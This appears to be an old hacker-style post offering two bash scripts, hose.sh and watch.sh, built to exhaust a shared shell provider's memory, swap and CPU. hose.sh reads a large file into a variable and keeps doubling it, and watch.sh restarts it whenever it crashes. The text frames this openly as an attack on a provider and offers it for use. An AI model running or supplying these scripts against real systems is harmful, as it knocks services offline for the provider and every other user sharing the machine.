[Fun With Bash - Seuss' Version]

  
Sheppard's "fun with bash" left a bad taste in my mouth. The "little secret" of his is a POSIX command expansion
feature, which resolves to the last command input. With that out of the way, the clumsiness of the method presented 
is inexcusible. If you want to hose a shell provider, why not automate your lame-ass attack completely?

#!/usr/bin/bash
## hose.sh: piss all over swap and processor time.

# Fire up watch.sh
eval ./watch.sh & 

# Use a really big flat file. /bsd is logically only present on BSD machines.
# For linux systems, try /boot/vmlinuz*.

while [[ -a /bsd ]] 
do
# dump file into a variable
        fill=`cat /bsd`   

# pipe $fill out to STDOUT              
        echo $fill

# and double its size. 
        fill=`echo $fill $fill`         
done


#!/usr/bin/bash
## watch.sh: keep hose.sh running.

# Start an endless loop.
while [[ -a ./watch.sh ]]
do
# Lets check every ten seconds to make sure BASH hasn't dumped core.
        sleep 3

# Test for a core-dump.
        if [[ -a ./sh.core ]] 
then 

# No, this isn't really needed.
echo "restarting hose.sh"

# Delete that core file.
rm ./sh.core

# Restart hose.sh repeatedly calling 'eval ./hose.sh &' will, of course, generate more lag.
eval ./hose.sh &
        fi
done
